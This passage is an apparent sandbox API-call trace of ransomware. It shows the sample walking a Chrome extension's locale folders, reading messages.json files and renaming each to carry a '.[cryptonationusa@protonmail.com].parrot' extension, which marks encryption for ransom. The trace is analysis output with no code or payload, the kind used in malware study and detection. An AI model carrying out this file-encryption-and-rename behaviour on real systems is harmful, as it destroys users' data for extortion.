lpNewFilePointer=0x0) returned 1 [0073.640] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.640] CloseHandle (hObject=0x28c) returned 1 [0073.640] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.653] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.653] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9626ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9626ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.654] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9600a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.655] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.655] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.655] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.655] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.655] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.655] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.655] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x211, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.655] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.655] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.656] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.656] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf9, lpOverlapped=0x0) returned 1 [0073.657] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.657] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x211, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.657] CloseHandle (hObject=0x28c) returned 1 [0073.658] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.662] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9626ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9626ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.663] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9626ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.663] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f9af20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f9af20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb900d340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb900d340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb900d340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb900d340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90334a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90334a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9059600, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9059600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90cba20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90cba20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90cba20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90cba20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90f1b80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90f1b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90f1b80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90f1b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9117ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9117ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb913de40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb913de40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb913de40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb913de40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9163fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9163fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9163fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9163fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb918a100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb918a100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9222680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9222680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb92487e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb92487e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb926e940, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb926e940, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb92bac00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb92bac00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb92e0d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb92e0d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9306ec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9306ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9306ec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9306ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb932d020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb932d020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb93792e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb93792e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb945db20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb945db20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb945db20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb945db20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb94cff40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb94cff40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb94f60a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb94f60a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb94f60a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb94f60a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="se", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb951c200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb951c200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb951c200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb951c200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb95b4780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb95b4780, 